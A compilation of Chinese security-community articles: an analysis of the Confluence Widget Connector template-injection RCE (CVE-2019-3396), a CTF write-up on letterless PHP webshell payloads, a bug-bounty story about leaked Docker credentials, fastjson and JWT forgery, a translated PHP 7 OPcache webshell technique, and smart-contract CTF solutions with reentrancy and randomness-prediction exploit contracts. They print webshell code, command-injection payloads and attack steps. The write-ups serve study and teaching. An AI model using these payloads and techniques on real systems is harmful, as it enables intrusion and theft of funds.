private final String DEFAULT_YOUTUBE_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm";
......
public String getEmbedUrl(String url) {
Matcher youtubeUrlMatcher = YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url));
return youtubeUrlMatcher.matches() ? String.format("//www.youtube.com/embed/%s?wmode=opaque", youtubeUrlMatcher.group(3)) : null;
}
public boolean matches(String url) {
return YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)).matches();
}
private String verifyEmbeddedPlayerString(String url) {
return !url.contains("feature=player_embedded&") ? url : url.replace("feature=player_embedded&", "");
}
public String getEmbeddedHtml(String url, Map<String, String> params) {
return this.velocityRenderService.render(this.getEmbedUrl(url), this.setDefaultParam(params));
}
在`getEmbeddedHtml`下断点，先会调用`getEmbedUrl`对用户传入的`url`进行正则匹配，因为我们传入的是个正常的Youtube视频，所以这里是没有问题的，然后调用`setDefaultParam`函数对传入的其他参数进行处理。
private Map<String, String> setDefaultParam(Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
if (!params.containsKey("_template")) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm");
}
if (StringUtils.isEmpty(width)) {
params.put("width", "400px");
} else if (StringUtils.isNumeric(width)) {
params.put("width", width.concat("px"));
}
if (StringUtils.isEmpty(height)) {
params.put("height", "300px");
} else if (StringUtils.isNumeric(height)) {
params.put("height", height.concat("px"));
}
return params;
}
取出`width`和`height`来判断是否为空，为空则设置默认值。关键的`_template`参数来了，如果外部传入的参数没有`_template`，则设置默认的Youtube模板。如果传入了，就使用传入的，也就是说，aaaa是成功的传进来了。
大概翻了一下Widget
Connector里面的Renderer，大部分是不能设置`_template`的，是直接写死了，也有一些例外，如Youtube，Viddler，DailyMotion等，是可以从外部传入`_template`的。
能传递`_template`了，接下来看下是如何取模板和渲染模板的。
跟进`this.velocityRenderService.render`，也就是`com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class`里面的`render`方法。
public String render(String url, Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
String template = (String)params.get("_template");
if (StringUtils.isEmpty(template)) {
template = "com/atlassian/confluence/extra/widgetconnector/templates/embed.vm";
}
if (StringUtils.isEmpty(url)) {
return null;
} else {
Map<String, Object> contextMap = this.getDefaultVelocityContext();
Iterator var7 = params.entrySet().iterator();
while(var7.hasNext()) {
Entry<String, String> entry = (Entry)var7.next();
if (((String)entry.getKey()).contentEquals("tweetHtml")) {
contextMap.put(entry.getKey(), entry.getValue());
} else {
contextMap.put(entry.getKey(), GeneralUtil.htmlEncode((String)entry.getValue()));
}
}
contextMap.put("urlHtml", GeneralUtil.htmlEncode(url));
if (StringUtils.isNotEmpty(width)) {
contextMap.put("width", GeneralUtil.htmlEncode(width));
} else {
contextMap.put("width", "400");
}
if (StringUtils.isNotEmpty(height)) {
contextMap.put("height", GeneralUtil.htmlEncode(height));
} else {
contextMap.put("height", "300");
}
return this.getRenderedTemplate(template, contextMap);
}
}
`_template`取出来赋值给`template`，其他传递进来的参数取出来经过判断之后放入到`contextMap`，调用`getRenderedTemplate`函数，也就是调用`VelocityUtils.getRenderedTemplate`。
protected String getRenderedTemplate(String template, Map<String, Object> contextMap){
return VelocityUtils.getRenderedTemplate(template, contextMap);
}
一路调用，调用链如下图，最后来到`/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class`的`loadResource`函数，来获取模板。
这里调用了4个`ResourceLoader`去取模板。
com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader
这里主要看下Velocity自带的`FileResourceLoader`和`ClasspathResourceLoader`
`FileResourceLoader`会对用户传入的模板路径使用`normalizePath`函数进行校验
可以看到，过滤了`/../`，这样就导致没有办法跳目录了。
路径过滤后调用`findTemplate`查找模板，可看到，会拼接一个固定的`path`，这是Confluence的安装路径。
也就是说现在可以利用`FileResourceLoader`来读取Confluence目录下面的文件了。
尝试读取`/WEB-INF/web.xml`文件，可以看到，是成功的加载到了该文件。
但是这个无法跳出Confluence的目录，因为不能用`/../`。
再来看下`ClasspathResourceLoader`
public InputStream getResourceStream(String name) throws ResourceNotFoundException {
InputStream result = null;
if (StringUtils.isEmpty(name)) {
throw new ResourceNotFoundException("No template name provided");
} else {
try {
result = ClassUtils.getResourceAsStream(this.getClass(), name);
......
}
跟进`ClassUtils.getResourceAsStream`
public static InputStream getResourceAsStream(Class claz, String name) {
while(name.startsWith("/")) {
name = name.substring(1);
}
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
InputStream result;
if (classLoader == null) {
classLoader = claz.getClassLoader();
result = classLoader.getResourceAsStream(name);
} else {
result = classLoader.getResourceAsStream(name);
if (result == null) {
classLoader = claz.getClassLoader();
if (classLoader != null) {
result = classLoader.getResourceAsStream(name);
}
}
}
return result;
}
会跳到`/org/apache/catalina/loader/WebappClassLoaderBase.class`
跟进，发现会拼接`/WEB-INF/classes`，而且其中也是调用了`normalize`对传入的路径进行过滤。。
这里还是可以用`../`跳一级目录。
尝试读取一下`../web.xml`，可以看到，也是可以读取成功的，但是仍然无法跳出目录。
我这里测试用的版本是6.14.1，而后尝试了`file://`,`http://`，`https://`都没有成功。后来我尝试把Cookie删掉，发现在Linux环境下面还是可以读取文件，Windows的6.14.1版本是需要登陆的，但是跳不出目录。应急在这里卡住了。
而后的几天，有大佬用`file://`协议可以跳出目录限制，我惊了，我确定当时是已经试过了，没有成功的。看了大佬的截图，发现用的是6.9.0的版本，我下载了，尝试了一下，发现真的可以。而且在6.9.0版本中，Windows和Linux环境都不需要登陆。
问题还是在`ClasspathResourceLoader`上面，步骤和之前的是一样的，断到`/org/apache/catalina/loader/WebappClassLoaderBase.class`的`getResourceAsStream`方法
前面拼接`/WEB-INF/classes`获取失败后，继续往下进行。
跟进`findResource`，函数前面仍然获取失败
关键的地方就在这里，会调用`super.findResource(name)`，这里返回了URL，也就是能获取到对象。
不仅如此，这里还可以使用其他协议(https，ftp等)获取远程的对象，意味着可以加载远程的对象。
获取到URL对象之后，继续回到之前的`getResourceAsStream`，可以看到，当返回的url不为null时，
会调用`url.openStream()`获取数据。
最终获取到数据给Velocity渲染。
尝试一下
至于6.14.1为啥不行，赶着应急，后续会跟，如果有新的发现，会同步上来，目前只看到`ClassLoader`不一样。
6.14.1
6.9.0
这两个loader的关系如下
现在可以加载本地和远程模板了，可以尝试进行RCE。
关于Velocity的RCE，基本上payload都来源于15年blackhat的服务端模板注入的议题，但是在Confluence上用不了，因为在调用方法的时候会经过`velocity-htmlsafe-1.5.1.jar`，里面多了一些过滤和限制。但是仍然可以利用反射来执行命令。
用`python -m pyftpdlib -p 2121`开启一个简单的ftp服务器，将payload保存成rce.vm，保存在当前目录。
将`_template`设置成`ftp://localhost:2121/rce.vm`，发送，成功执行命令。
对于命令回显，同样可以使用反射构造出payload，执行`ipconfig`的结果。
### 漏洞影响
根据 ZoomEye 网络空间搜索引擎对关键字 "X-Confluence" 进行搜索，共得到 61,856 条结果，主要分布美国、德国、中国等国家。
全球分布(非漏洞影响范围)
中国分布(非漏洞影响范围)
### 漏洞检测
2019年4月4日，404实验室公布了该漏洞的检测[PoC](https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py)，可以利用这个PoC检测Confluence是否受该漏洞影响。
### 参考链接
* [漏洞检测PoC](https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py)
* [Remote code execution via Widget Connector macro - CVE-2019-3396](https://jira.atlassian.com/browse/CONFSERVER-57974)
* [漏洞预警 | Confluence Server 远程代码执行漏洞](https://www.freebuf.com/news/200183.html)
* * * | 社区文章 |
## 前言
无字母数字webshell算是一个很老生常谈的话题了，但由于利用条件比较苛刻，一般只会在CTF题目中出现，作为一种有趣的绕过的思路，p牛关于这个问题也写过两篇非常出色的博客，通过p牛的博客我也学到了许多有趣的bypass技巧。最近翻看其他大佬博客的时候，对于这个问题我又发现了一个很有趣的小tips，那就是通过linux中的某些特殊变量执行命令，或许这种技巧能在真实的环境或者CTF赛题中出现。
## 前置知识
首先介绍一下shell脚本中$的多种用法([参考](https://blog.csdn.net/ly_qiu/article/details/105765772))：
变量名 | 含义
---|---
$0 | 脚本本身的名字
$1 | 脚本后所输入的第一串字符
$2 | 传递给该shell脚本的第二个参数
$* | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ | 表示上一个命令的最后一个参数
$# | #脚本后所输入的字符串个数
$$ | 脚本运行的当前进程ID号
$! | 表示最后执行的后台命令的PID
$? | 显示最后命令的退出状态，0表示没有错误，其他表示由错误
## 从博客中引发的思考
我看[大佬的博客](http://www.yuxuanzhe.com/posts/32276634.html)的时候他注意到：
Linux变量`$_`，它存储着上次程序传入的参数，比如执行`echo can you get the file of tmp`命令后，再执行`echo
$_`，发现结果是`tmp` 。
因此给出一个特殊的题目条件，比如：
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>10){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
eval("system(\"echo can you get the file of tmp;".$code."\")");
}else{
highlight_file(__FILE__);
}
此时我们使用payload
?code=. /\$_/*
然后配合临时文件上传我们就可以执行命令，甚至get shell。
但大佬在文章的末尾提到：
于是当天我就想到了个出CTF题的有趣点子，其实对于以get flag为目的的ctf题目而言，对于payload的长度可以大大缩减，我们来本地做个测试：
我们先到根目录下放个flag：
然后切换到桌面用那个黑魔法获得flag，我当时本地测试时想到的payload可以只用五个字符：
?code=. /$_
原理很简单，就是在linux里可以用点号+空格+文件名执行一个可执行文件，等效于source可执行文件，然后我们前面echo了一次flag，flag作为了最后一个参数，因此可以用$_代替这个flag，但又因为我们这个flag不是可执行文件，因此linux就会报错，然后打印并输出这个文件里的内容，类似于用date
-f越权读文件一样。
然后我就构思一个题目，分享在了学校的信安协会群里：
<?php
if(isset($_GET['command'])){
$command = $_GET['command'];
if(strlen($command)>5){
die("Too Long!");
}
if(preg_match("/[A-Za-z0-9]+/",$command)){
die("No letters or numbers!");
}
eval(system("echo you are not able to get flag;$command 2>&1"));
}else{
highlight_file(__FILE__);
}
?>
因为要靠报错输出flag嘛，所以必须加上2>&1，但这样也导致这个题目的破局点比较明显了，我也没想到什么更好的方法，这个代码也只是一个雏形。
然后预期解当然就是`?command=. /$_`
放在群里之后没过多久就有人做出来了，而且还只用了三个字符，猜猜是什么？
没错，是直接`?command=/$_`
这种做法大大的出乎了我的意料，因为这样做我出题的时候本地是失败了的：
后来我一下就想到了，肯定是权限的问题。我当时在宝塔后台随便就创建了一个flag文本，到后台一看，果然不但有阅读权限更有执行权限：
把执行权限关了就只能用我那个预期解了：
原理也很简单，就是直接用/$_代替/flag了，相当于直接用文件名执行脚本，然后打印报错输出，就不用再加个点号了。
## 出题后的感悟
不过这次有趣的题目分享也激发了更多我对这种无字母数字ctf题目的思考，在限制和过滤足够多的情况下，只是用$当作给变量命名的工具其实是大大局限了它的作用，因为shell脚本中很多变量名都是有特殊含义的，如果配合一定条件，它能发挥十分神奇的作用，比如我上面出的那个题，就可以在限制足够多的条件用三个字符就拿到flag，而其他的变量同样能发挥神奇的作用：
我们知道$#可以表示#脚本后所输入的字符串个数，在默认情况下就直接表示零了：
而我们可以通过自增运算表示不同的数字：
这也相当于一种绕过限制表达数字的方式了。
同样的，$?可以显示最后命令的退出状态，我们也可以用它来构造出数字来：
其他的变量也有很神奇的作用，不过利用条件其实都挺苛刻的，但或许能通过不同变量打一套组合拳实现get
shell，比如像大佬文章里的那样配合临时文件甚至可以直接get
shell。但这种利用条件终究有点太难了，感觉只有可能在CTF题目作为一个有趣的考点，很难在实战中发挥作用，我在这里就算抛砖引玉了，希望大家能有更多有趣的见解和想法。
参考：
[关于p神的无字母数字webshell之提高篇的思考](http://www.yuxuanzhe.com/posts/32276634.html)
[shell脚本中$的多种用法($* 、 $@ 、$_ 、$# 、$$ 、$! 、 $?
)](https://blog.csdn.net/ly_qiu/article/details/105765772) | 社区文章 |
## 记一次众测找源码到RCE
### 前言
某众测项目，一个多端入口系统
PC，APP，与及测试后台
上来就去后台摸了一下底
前端：react
认证授权：jwt token
框架：springboot+spring mvc+mybatis
文件存储：某云oss
很现代化的系统
### 转变思路
转眼一想，目标是某国企，这个系统也不是他们自己的业务，给内部员工用的，应该不会自己开发吧？
于是就想会不会用的是第三方公司软件，想办法把源码搞下来。
首先得明确这个系统是不是第三方的，前端是react，js，css等都用webpack打包好了，html页面没啥特别特征，翻了一下js看到了一个不是目标的域名
顺着域名，找到了这个公司的官网，上海某提供多端入口整套解决方案的公司，没有猜错，接着目标就变成了对这家公司进行信息收集。
摸到了：
github `"target.com"`搜了一下，找到了个仓库，一个运维同学写的自动化脚本，里面包含了内网的一些IP信息，配置信息
如:
accesskey：
有一个十分关键的是这家公司用的是docker容器部署，这还是上的微服务架构
各种容器的部署yaml
十分巧的是他们用的是某第三方docker镜像服务来存储镜像，外网可访问（运气爆棚）
账号密码Get到，直接docker命令登录上去，但很可惜没办法对仓库进行搜索，只能`push`和`pull`，但有上面的`yaml`配置，知道了镜像命名，碰撞即可
最终成功把最新镜像拉到手
然后起一个容器，用`docker cp`命令把源码拉出来
### 源码审计
先看一手第三方jar包，fastjson赫然在列，版本在可用范围内
定位代码用到的地方：
dns探测一下：
root权限很舒服。（这个接口十分隐秘，黑盒测感觉根本测不出来）
还有前面说的jwt问题，刚开始就想到是弱secret，但没有爆破，后面翻了源码还真是，六字符而且跟系统命名有关，直接伪造token，变身超级管理员。
还有xxe等一些问题，不一一细说
### 总结
对于识别vue/react的一些现代化系统，可以尝试js里面定位关键词，还有github搜docker镜像服务账号口令泄露也是一个不错的思路 | 社区文章 |
# 利用PHP 7中的OPcache来实现Webshell
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/>
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中,我们将会对PHP7
OPcache引擎中的安全问题进行讲解,而且还会给大家介绍一种新型的漏洞利用技术。通过这种攻击方法,我们可以绕过某些安全强化技术,例如[禁止web目录的文件读写](http://www.cyberciti.biz/tips/php-security-best-practices-tutorial.html)等安全保障措施。除此之外,攻击者还可以利用这种攻击技术在目标主机中执行恶意代码。
OPcahce
OPcache是PHP 7.0中内嵌的新型缓存引擎。它可以对PHP脚本代码进行编译,并且将编译结果以字节码的形势存入内存中。
OPcache 通过将 PHP 脚本预编译的字节码存储到共享内存中来提升 PHP 的性能, 存储预编译字节码的好处就是省去了每次加载和解析 PHP
脚本的开销。
除此之外,它还能提供文件系统的缓存功能,但是我们必须在PHP.ini配置文件中定义缓存信息的目标文件夹路径:
opcache.file_cache=/tmp/opcache
在上面这个文件夹中,OPcache会将编译好的PHP脚本保存在相应PHP脚本的相同目录结构之中。比如说,需要进行编译的代码保存在/var/www/index.php之中,而完成编译的代码将会保存在/tmp/opcache/[system_id]/var/www/index.php.bin之中。
在上述文件路径中,system_id是一个包含了当前PHP版本信息,Zend框架的扩展ID,以及各种数据类型信息的MD5
哈希值。在最新发行版的Ubuntu操作系统(16.04)之中,system_id是由当前Zend框架和PHP的版本号所组成的(81d80d78c6ef96b89afaadc7ffc5d7ea)。当OPcache首次对这些文件进行缓存处理时,会在文件系统中创建相应的目录。
正如我们将会在接下来的章节中看到的,每一个OPcache文件还会在文件的header域中保存system_id的副本。
至此,我们就不得不提到OPcache文件夹了,其中一个非常有趣的地方就是,当用户启用了这项服务之后,用户就会拥有OPcache生成的所有文件夹或者文件(所有文件和文件夹均位于/tmp/opcache/目录之下)的写入权限。
OPcache文件夹中的权限信息如下所示:
$ ls /tmp/opcache/
drwx—— 4 www-data www-data 4096 Apr 26 09:16 81d80d78c6ef96b89afaadc7ffc5d7ea
正如我们看到的那样,www-data分组下的用户都拥有OPcache所生成文件夹的写入权限。如果我们拥有OPcache目录的写入权限,那么我们就可以重写目录中的缓存文件,然后利用webshell来执行任意代码。
攻击场景
首先,我们必须得到缓存文件夹的保存路径(/tmp/opcache/[system_id]),以及目标PHP文件的保存路径(/var/www/…)。
为了让大家更容易理解,我们假设网站目录中存在一个phpinfo()文件,我们可以从这个文件中获取到缓存文件夹和文件源代码的存储位置,当我们在计算system_id的时候将会需要用到这些数据。我们已经开发出了一款能够从网站phpinfo()中提取信息,并计算system_id的工具。你可以在我们的[GitHub代码库](https://github.com/GoSecure/php7-opcache-override)中获取到这个工具。
在此,我们需要注意的是,目标网站必须不能对上传的文件有所限制。
现在,我们假设php.ini中除了默认的设置信息之外,还添加有下列配置数据:
opcache.validate_timestamp = 0 ; PHP 7's default is 1
opcache.file_cache_only = 1 ; PHP 7's default is 0
opcache.file_cache = /tmp/opcache
接下来,我们就会给大家讲解攻击的实施过程:
我们已经在网站中找到了一个漏洞,这个漏洞意味着网站不会对我们上传的文件进行任何的限制。我们的目标就是利用包含后门的恶意代码替换掉文件/tmp/opcache/[system_id]/var/www/index.php.bin。
上图显示的就是包含漏洞的网站界面。
1.在本地创建一个包含Webshell的恶意PHP文件,将其命名为“index.php”:
<?php
system($_GET['cmd']);
?>
2.将opcache.file_cache的相关设置添加进你的PHP.ini文件之中。
3.利用php –S
127.0.0.1:8080命令启动一个Web服务器,然后向服务器请求index.php文件,并触发缓存引擎。在这一步中,我们只需要使用命令wget
127.0.0.1:8080就可以实现我们的目的了。
4.定位到我们在第一步中设置的缓存文件夹,你将会发现了一个名为index.php.bin的文件。这个文件就是已经经过编译处理的webshell。
上图显示的是OPcache生成的index.php.bin。
5.由于本地system_id很可能与目标主机的system_id不同,所以我们必须打开index.php.bin文件,并将我们的system_id修改成目标主机的system_id。正如我们之前所提到的,system_id是有可能被猜到的,例如暴力破解,或者根据phpinfo()文件中的服务器信息计算出来。我们可以在文件签名数据之后修改system_id,具体如下图所示:
上图显示的是system_id的数据存储位置。
6.由于目标网站对上传的文件没有任何的限制,所以我们现在就将文件上传至服务器的目录之中:
/tmp/opcache/[system_id]/var/www/index.php.bin
7.刷新网站的index.php,网站将会自动执行我们的webshell。
绕过内存缓存(file_cache_only = 0)
如果内存缓存的优先级高于文件缓存,那么重写OPcache文件并不会执行我们的webshell。如果服务器托管的网站中存在文件上传限制漏洞,那么在服务器重启之后,我们就可以绕过这种限制。既然内存缓存可以被清空,OPcache将会使用文件缓存来填充内存缓存,从而达到我们执行webshell的目的。
这也就意味着,我们还是有办法能够在服务器不进行重启的情况下,执行我们的webshell。
在WordPress等网站框架之中,还是会有一些过时的文件可以公开访问到,例如[registration-functions.php](https://github.com/WordPress/WordPress/blob/703d5bdc8deb17781e9c6d8f0dd7e2c6b6353885/wp-includes/registration-functions.php)。
由于这些文件已经过时了,所以系统不会再加载这些文件,这也就意味着,内存和文件系统的缓存中是不可能存在有这些文件的。当我们上传了恶意代码(registration-functions.php.bin)之后,然后访问相关的网页(/wp-includes/registration-functions.php),OPcache就会自动执行我们的webshell。
绕过时间戳认证(validate_timestamps = 1)
时间戳通常是一个字符序列,它可以唯一地标识某一时刻的时间。一般来说,时间戳产生的过程为:用户首先将需要加时间戳的文件用Hash编码加密形成摘要,然后将该摘要发送到DTS,DTS在加入了收到文件摘要的日期和时间信息后再对该文件加密(数字签名),然后送回用户。
如果服务器启用了时间戳认证功能,OPcache将会对被请求的PHP源文件的时间戳进行验证,如果该文件与缓存文件header域中的时间戳相匹配,那么服务器就会允许访问。如果时间戳不匹配,那么缓存文件将会被丢弃,并创建出一个新的缓存文件。为了绕过这种限制,攻击者必须知道目标源文件的时间戳。
这也就意味着,在WordPress等网站框架之中,源文件的时间戳是可以获取到的,因为当开发人员将代码文件从压缩包中解压出来之后,时间戳信息仍然是保持不变的。
上图显示的是WordPress/wp-includes文件夹中的信息。
有趣的是,其中的有些文件从2012年起就再也没有进行过任何的修改(请注意以下两个文件:registration-functions.php和registration.php)。因此,即使是不同版本的WordPress,这些相同文件的时间戳也是一样的。在获取到了文件时间戳的信息之后,攻击者就可以修改他们的恶意代码,并且成功覆盖服务器的缓存数据。时间戳信息位于文件开头处的第34字节位置:
演示视频
在此,我们给大家提供了一个简短的演示视频,并在视频中对攻击步骤进行了讲解:
视频地址:https://youtu.be/x42l-PQHhbA
正如我们在此之前提到的,大家可以在我们的[GitHub代码库](https://github.com/GoSecure/php7-opcache-override)中获取到你们所需要的工具。
总结
总而言之,这种新型的攻击方法并不会对使用PHP进行开发的应用程序产生影响,因为这并不是PHP的通用漏洞。现在,很多Linux发行版的操作系统(例如Ubuntu
16.04)都会默认安装PHP
7,所以当我们在了解到了这种攻击技术之后,在我们的开发过程中,更加因该谨慎地审查我们的代码,并检查网站中是否存在文件上传限制漏洞,因为这个漏洞将会对服务器的安全产生影响。 | 社区文章 |
# innovation blockchain 智能合约题目（下）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
* * *
## 前言：
上一篇我们主要介绍了一些基础知识以及技能。和题目做题方法。
接下来这篇文章将讲述接下来的5道题目。
主要以主流漏洞以及脚本编写为主。也会给出源代码分析以及exp
* * *
## Lottery
题目不是很长
给出以下源代码
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract Lottery is CtfFramework{
using SafeMath for uint256;
uint256 public totalPot;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
totalPot = totalPot.add(msg.value);
}
function() external payable ctf{
totalPot = totalPot.add(msg.value);
}
function play(uint256 _seed) external payable ctf{
require(msg.value >= 1 finney, "Insufficient Transaction Value");
totalPot = totalPot.add(msg.value);
bytes32 entropy = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
bytes32 guess = keccak256(abi.encodePacked(_seed));
if(guess==target){
//winner
uint256 payout = totalPot;
totalPot = 0;
msg.sender.transfer(payout);
}
}
}
可以发现这里transfer 需要 首先转账大于 1 finney
后面就是比较经典的漏洞。随机数预测 只需要直接照抄即可。
可能前面大家会发现合约调用发现revert问题，是因为没有给予做题权限，
我们要在这里的`ctf_challenge`给我们的合约一个做题权限。
给出exp
contract hack{
address target=challenge address;
Lottery A=Lottery(target);
constructor()payable{}
function exp()payable{
bytes32 entropy = block.blockhash(block.number);
bytes32 entropy2 = keccak256(this);
uint256 seeds = uint256(entropy^entropy2);
A.play.value(1 finney)(seeds);
selfdestruct(your address);
}
function() payable{}
}
首先 带 2finney 部署 然后调用ctf_challenge 再调用exp就可以了。
##
## Record Label
这里主要是逻辑问题。
代码段比较长我这里只做部分摘取
function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
funds = funds.sub(_withdrawAmount);
royalties.call.value(_withdrawAmount)();
uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();
uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid);
msg.sender.transfer(artistPayout);
}
这里点的函数进行了一个转账功能。
我们可以传一个比合约内已有金额小的数字进行一个转账的操作
然后跟一下里面的。 首先是把一个传入的金额减去 然后直接转账给我们的合约创建者 royalties 之后进行了 函数getLast…的调用。
function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){
uint256 ret = amountPaid;
amountPaid = 0;
return ret;
}
这里以 amountpaid 为基准减去一个值 但是因为前面未调用相关。所以这里直接转账就是0了
我们这里只需要调用withdrawFundsAndPayRoyalties 转账1 eth 即可成功。
但其实整个合约的思路应该是我们每次想转都会给一定的手续费给予另一边，但是这里我们不需要理清太多的思路只需要找到关键的函数即可
* * *
## Heads or Tails
题目不长给出完整代码
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract HeadsOrTails is CtfFramework{
using SafeMath for uint256;
uint256 public gameFunds;
uint256 public cost;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
gameFunds = gameFunds.add(msg.value);
cost = gameFunds.div(10);
}
function play(bool _heads) external payable ctf{
require(msg.value == cost, "Incorrect Transaction Value");
require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
//win
gameFunds = gameFunds.sub(msg.value.div(2));
msg.sender.transfer(msg.value.mul(3).div(2));
}
else {
//loser
gameFunds = gameFunds.add(msg.value);
}
}
}
这个完全可以理解为 coinFlip == _heads （题目中不同变量类型）
总之还是 随机数的漏洞我们直接编写脚本即可。
注意每次传入的是0.1eth 然后我们可以得到 0.1*3/2 = 0.15
但是每次我传了 0.1 那么每次可以多得到0.05
为了把1 eth全赢回来需要赢得20次循环调用即可（类似薅羊毛）
contract hack{
address target=challenge address;
HeadsOrTails A=HeadsOrTails(target);
constructor()payable{}
function exp() payable
{
for(uint i=1;i<=20;i++)
{
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if(coinFlip==1)
{
A.play.value(100000000000000000)(true);
}
else
A.play.value(100000000000000000)(false);
}
selfdestruct(your address);
}
function ()payable{}
}
具体步骤和Lottery 一样 记住要给攻击合约 多点钱 我给了1 eth.
* * *
## Trust Fund
代码如下
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract TrustFund is CtfFramework{
using SafeMath for uint256;
uint256 public allowancePerYear;
uint256 public startDate;
uint256 public numberOfWithdrawls;
bool public withdrewThisYear;
address public custodian;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
custodian = msg.sender;
allowancePerYear = msg.value.div(10);
startDate = now;
}
function checkIfYearHasPassed() internal{
if (now>=startDate + numberOfWithdrawls * 365 days){
withdrewThisYear = false;
}
}
function withdraw() external ctf{
require(allowancePerYear > 0, "No Allowances Allowed");
checkIfYearHasPassed();
require(!withdrewThisYear, "Already Withdrew This Year");
if (msg.sender.call.value(allowancePerYear)()){
withdrewThisYear = true;
numberOfWithdrawls = numberOfWithdrawls.add(1);
}
}
function returnFunds() external payable ctf{
require(msg.value == allowancePerYear, "Incorrect Transaction Value");
require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
withdrewThisYear = false;
numberOfWithdrawls=numberOfWithdrawls.sub(1);
}
}
熟悉的看了就懂了 `withdraw`处 的`msg.sender.call.value`造成的重入。
因为是先转账并且没有进行及时的修改状态造成重入
依旧写脚本
contract hack{
address target=challenge address;
TrustFund A=TrustFund(target);
uint time;
constructor()payable{time=1;}
function () payable{
while(time<=9){
time++;
A.withdraw();
}
}
function exp()payable{
A.withdraw();
}
function dest(){
selfdestruct(your addess);
}
}
这里有两点需要注意
一个是重入时候需要大量的gas 否则 无法完成交易。并且不会报错 需要查Ropsten事件才能发现。
还有一个是我们在fallback函数中需要先加time再调用否则会陷入死循环。和逻辑洞一样。
* * *
## Slot Machine
这里给出源代码
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract SlotMachine is CtfFramework{
using SafeMath for uint256;
uint256 public winner;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
winner = 5 ether;
}
function() external payable ctf{
require(msg.value == 1 szabo, "Incorrect Transaction Value");
if (address(this).balance >= winner){
msg.sender.transfer(address(this).balance);
}
}
}
意思是我们需要先把里面的钱变成 5eth 以上
才能提出来所有的钱，
但是每次只能冲 1 szabo
非常少
不可能每次都用这个来冲
我们可以想到selfdestruct 这个函数 他不会引起 payable fallback的调用
所以我们充3.5eth进去
然后再转入1 szabo 即可成功。
* * *
## 小结：
这里的五道题大概是比较简单的难度。
一定程度的教会了 一些简单的漏洞以及脚本的编写 和debug能力。
通过etherscan等网站可以快速定位我们的代码问题以及调用效果等等。
最后我会详细介绍下后三道题 是相对来说难度较大一些的题目。
里面涉及到了字节码以及内联汇编 和block等问题。
那么接下来的三道题目难度会提升一个档，可以更加深入的理解合约以及区块链相关的知识。
* * *
## Rainy Day Fund
合约代码给出
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract DebugAuthorizer{
bool public debugMode;
constructor() public payable{
if(address(this).balance == 1.337 ether){
debugMode=true;
}
}
}
contract RainyDayFund is CtfFramework{
address public developer;
mapping(address=>bool) public fundManagerEnabled;
DebugAuthorizer public debugAuthorizer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
//debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
debugAuthorizer = new DebugAuthorizer();
developer = msg.sender;
fundManagerEnabled[msg.sender] = true;
}
modifier isManager() {
require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
_;
}
function () external payable ctf{
// Anyone can add to the fund
}
function addFundManager(address _newManager) external isManager ctf{
fundManagerEnabled[_newManager] = true;
}
function removeFundManager(address _previousManager) external isManager ctf{
fundManagerEnabled[_previousManager] = false;
}
function withdraw() external isManager ctf{
msg.sender.transfer(address(this).balance);
}
}
题目主要目标是调用 withdraw 但是每个函数都是需要我们的 isManager 修饰器，以及 ctf
